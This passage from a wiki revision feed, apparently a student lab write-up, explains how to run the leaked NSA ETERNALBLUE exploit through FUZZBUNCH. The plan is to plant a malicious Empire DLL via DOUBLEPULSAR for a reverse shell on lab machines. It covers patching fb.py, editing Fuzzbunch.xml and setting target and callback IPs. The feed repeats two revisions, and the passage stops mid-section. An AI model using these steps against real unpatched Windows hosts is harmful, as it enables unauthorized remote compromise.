Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using ETERNALBLUE.===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120711</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120711"/>
		<updated>2017-04-30T16:52:51Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Using EternalBlue framework */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using ETERNALBLUE.===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
</feed>